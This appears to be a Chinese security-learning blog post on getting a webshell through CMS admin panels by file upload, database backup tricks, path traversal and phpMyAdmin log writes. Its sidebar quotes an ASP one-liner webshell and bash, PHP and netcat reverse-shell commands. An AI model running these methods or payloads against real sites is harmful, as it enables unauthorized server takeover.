第二十一天 getshell

最新推荐文章于 2023-10-01 21:29:19 发布
最新推荐文章于 2023-10-01 21:29:19 发布
阅读量342 收藏 1
点赞数
分类专栏： Web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46653764/article/details/106957803
版权

一、

（1）直接上传拿shell

如果知道网站是用什么cms，但网站后台改了目录，很难去通过扫目录来获取后台地址，那这时就可以通过谷歌语法↓（这里拿织梦cms来做比喻–>织梦默认后台路径是/dede/login.php,通常者都会被管理员改掉的）


可以这样：inurl:（你要查的url） intext:powered by dedecms（这是dedecms在后台管理登录界面的关键词，虽然这里没写全）
在这里插入图片描述

知道后台地址后，就尝试弱口令爆破，爆不了只能想其他法子

这里假设已经登进了后台，像织梦cms，进入了后台也相当于能拿到权限，因为这里有上传文件的模块↓，这样就可以上传大马拿shell
在这里插入图片描述
就会上传成功，直接拿shell,这种情况可以直接上传，属于最简单的情况~

但有时候上传了文件会被限制权限，不能往上一级翻，这时候该怎么办呢？

这时候可以把文件名改成–> …/a.php
在这里插入图片描述
比如上面↑，没改成这样之前是在upload目录下，改了之后 就变成了upload同级，把这个限制给跨掉了（就是往上翻目录）

（2）数据库备份拿shell

在这里插入图片描述
这里拿个网站举例子

在这里插入图片描述
这里就有数据库备份的选项，一般asp（access数据库）会有这个

然后就找个可以上传的点，像这里，有个类型留言板的可以上传内容↓
在这里插入图片描述
然后上传一个图片马，找到图片的路径

再回到数据库备份那里↓
在这里插入图片描述
然后就会备份成这样↓
在这里插入图片描述
接着访问↓ 就拿到了shell~ 用菜刀连接就行
在这里插入图片描述

如果像上面那样操作数据库没有被备份，那我们就换种思路–> 把一句话写入到数据库中，改个文件名备份就行

这时候就注册个管理员账号，在管理员账号那里写入一句话~↓
在这里插入图片描述
一句话可以采用多种形式写写，免得不成功，这样管理员账号就被添加到数据库中了，一句话也就被加到数据库中了

然后再备份数据库，改个名称，用菜刀连接就可以了

另外，可能会把一些功能不给你显示出来，像上面说的那些模块，万一找不到，给你阉割掉怎么办呢？

这时候可以本地下载一套这个cms，搭建一下，把你要的那个功能的页面调用到要渗透的那个后台，看看这样能不能正常调用那个功能


（3）突破上传拿shell

在这里插入图片描述

如果后台可以直接添加上传文件类型就直接添加，不要太盲目去绕过，先仔细扫一眼看看↓
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
具体一句话要怎么插，就要看具体的cms是怎么闭合的，这个要自己研究研究

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

下面的很重要↓
在这里插入图片描述

例如在phpmyadmin中想要拿shell,就可以写入上图的sql命令执行来拿shell！

但是，有的时候会报错不执行的，那这时候该换另一种方法–> 找到变量中的日志并打开它
在这里插入图片描述
然后直接在sql输入那里 写一句话，这样就会报错，就会写入日志，那么一句话就写入成功

上面两种方法都是在知道路径的情况下，那不知道路径时该怎么搞？

先找到配置文件，再找到网站根目录
在这里插入图片描述
在这里插入图片描述
然后读取httpd.conf配置文件的内容，找根路径即可

另外不知道路径时，还可以写入大文件到表中，让其报错，报错的时候就会把当前脚本根路径爆出来

在这里插入图片描述
在这里插入图片描述

二、常见cms拿shell

在这里插入图片描述

Sanfer23
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
数据库命令执行Getshell
m0_53087192的博客
01-19 916
Access导出 Access可导出xxx等文件需要配合解析漏洞 create table cmd (a varchar(50)); insert into cmd (a) values ('一句话木马') #一句话木马如：<%execute request(1)%> select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd drop table cmd 菜刀直连https://www.xxx.c
shell 编程指南pdf
09-24
第二部分 文本过滤 第7章 正则表达式介绍 49 7.1 使用句点匹配单字符 50 7.2 在行首以^匹配字符串或字符序列 50 7.3 在行尾以$匹配字符串或字符 51 7.4 使用*匹配字符串中的单字符或其重复 序列 51 7.5 使用\屏蔽一...
ACCESS数据库后台sql语句执行导shell
kuxing100的专栏
03-15 762
问： 一个垃圾论坛，access数据库，无其他可利用之处，不过有个sql语句执行功能，绝对路径也知道，小弟对sql语句不懂，记得如果是mysql数据库root权限可以导出SHELL，这个是否也能导出shell呢？需要什么条件，语句又是什么？网上翻不到资料。麻烦各位。 答： create table cmd (a varchar(50)) insert into cmd (a) values
【知识整理】Getshell方法整理
命运的旋律的博客
12-05 1889
Getshell php php -r '$sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");' bash bash -i >& /dev/tcp/192.168.37.131/8080 0>&1 netcat rm /tmp/f;mk...
Access导出一句话拿shell实战
收集盒 Book box
08-30 1515
目标站：http://www.xxxx.com 我艹，开头太简单了，直接啊D搞定一切，就连TM的管理员md5还那么弱智，让我跑出来了，囸！直接进后台： 看到数据库备份我笑了，哈哈哈！老方法本地备份突破下，结果发现丫的不行！目录是只读的。 不过
access实例_详解7个shell脚本实例，值得收藏练习
weixin_39609822的博客
11-24 767
概述看多shell脚本实例自然就会有shell脚本的编写思路了，所以我一般比较推荐看脚本实例来练习shell脚本。下面分享几个shell脚本实例。1、监测Nginx访问日志502情况，并做相应动作假设服务器环境为lnmp，近期访问经常出现502现象，且502错误在重启php-fpm服务后消失，因此需要编写监控脚本，一旦出现502，则自动重启php-fpm服务。#场景：#1.访问日志文件的路径：/d...
Linux shell编程指南
05-29
第二部分 文本过滤 第7章 正则表达式介绍 49 7.1 使用句点匹配单字符 50 7.2 在行首以^匹配字符串或字符序列 50 7.3 在行尾以$匹配字符串或字符 51 7.4 使用*匹配字符串中的单字符或其重复 序列 51 7.5 使用\屏蔽一...
绝版经典《Linux与UNIX Shell编程指南》
08-07
第二部分 文本过滤 第7章 正则表达式介绍 49 7.1 使用句点匹配单字符 50 7.2 在行首以^匹配字符串或字符序列 50 7.3 在行尾以$匹配字符串或字符 51 7.4 使用*匹配字符串中的单字符或其重复 序列 51 7.5 使用\屏蔽一...
shell编程和unix命令
02-16
第一部分 shell 第1章 文件安全与权限 1 1.1 文件 1 1.2 文件类型 2 1.3 权限 2 1.4 改变权限位 4 1.4.1 符号模式 4 1.4.2 chmod命令举例 5 1.4.3 绝对模式 5 1.4.4 chmod命令的其他例子 6 1.4.5 ...
LINUX与UNIX SHELL编程指南 高清PDF
11-13
第二部分 文本过滤 第7章 正则表达式介绍 49 7.1 使用句点匹配单字符 50 7.2 在行首以^匹配字符串或字符序列 50 7.3 在行尾以$匹配字符串或字符 51 7.4 使用*匹配字符串中的单字符或其重复 序列 51 7.5 使用\屏蔽一...
getshell工具使用教程
04-03
getshell工具使用教程
【每天学一点新知识】getshell？？？webshell？？？
RexHa的博客
10-08 3755
getshell就是可以通过某种漏洞达到留下后门的操作，可以通过程序的bug进入后台。 往往应用于上传一句话木马，然后利用菜刀、蚁剑等工具连接一句话在对方服务器的绝对路径，然后获得服务器的各个盘符的信息。
Access库利用后台SQL执行导出webshell渗透
weixin_30663471的博客
04-27 135
今天渗透了一个站点，后台有能执行sql语句的地方，恰好又得到了网站物理路径。以前看到网上有用access导出shell的方法，原理大致和php网站的outfile差不多先将一句话写到数据库中，然后再通过语句写到文件中。这里要将数据表内容导出到一个EXCEL文件中，因为ACCESS数据库不允许导出其他危险格式。我们导出为EXCEL后再利用IIS解析漏洞就可以用客户端连接了需要执行如下操作...
【网络安全-SQL注入（3）】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用
最新发布
m0_67844671的博客
10-01 871
本篇文章以凡诺企业网站管理系统为例，讲解了access数据库是如何进行SQL注入的，以及注入点如何利用，如何判断查询字段个数，如果用联合查询爆出数据库数据等;【网络安全-SQL注入】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用。SQL注入【3】；
sql注入系列课程
10-14
本课程是sql注入系列课程，从最基础的sql注入语法讲起，里面包含常见数据库sql注入方法，及各种类型的sql注入，通过sql注入直接获取服务器权限等攻击方法及演示。
SQL手工注入漏洞测试(Access数据库)
asd158923328的博客
08-20 435
靶场地址： https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe 根据题意 进入页面，发现注入点 利用and 1=1 =1正常，and 1=2 出现报错说明有注入点 猜测存在的表，and exists (select * from admin)，我这里凭借着经验猜出来是admin表，如果不...
网站后台getshell的方法总结
anlalu233的博客
03-24 4677
方法一：直接上传getshell 以dedecms为例，后台可以直接上传脚本文件，从而getshell，具体方法如下： 即可成功上传大马，并成功执行，从而拿下webshell。 坑：通常由于权限限制，导致只有该目录权限，无法进入其他目录，此时便可以采用…/跳转到根目录，或者其他目录，此时所采用的方法是如下的文件改名 方法二：数据库备份getshell 以南方数据cms为例： 1，首先上传一张...
sql注入-access数据库-总结
weixin_42109829的博客
12-15 1056
Access数据库 是一种非常简单但是功能完整的数据库，很适合小型网站创建，可以很轻松管理表和列，有很多管理工具 手工注入 判断注入点 1.这里采用墨者学院提供的SQL手工注入漏洞测试环境 http://219.153.49.228:40000/new_list.asp?id=1 2.判断注入点标准三连 ’ ~ and 1 ~ and 0 http://219.153.49.228:47744/new_list.asp?id=1' #页面报错 http://219.153.49.228:47744/ne
网站渗透总结之Getshell用法大全
LinkSLA的博客
11-07 2118
后台数据库备份getshell，上传图片马并获取图片马路径，通过数据库备份修改后缀名，如有后缀名无法修改或路径无法修改限制可修改前端代码绕过，当所备份的数据库来源无法修改时，我们可以通过首先将一句话木马写入数据库
getshell脚本
09-09
getshell脚本是用于在目标网站上植入恶意代码或命令执行的脚本。通过使用有效的用户名和密码组合，getshell脚本可以自动登录到目标网站的后台，并替换cookies以保持登录状态。一种常见的getshell脚本演示了如何使用...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值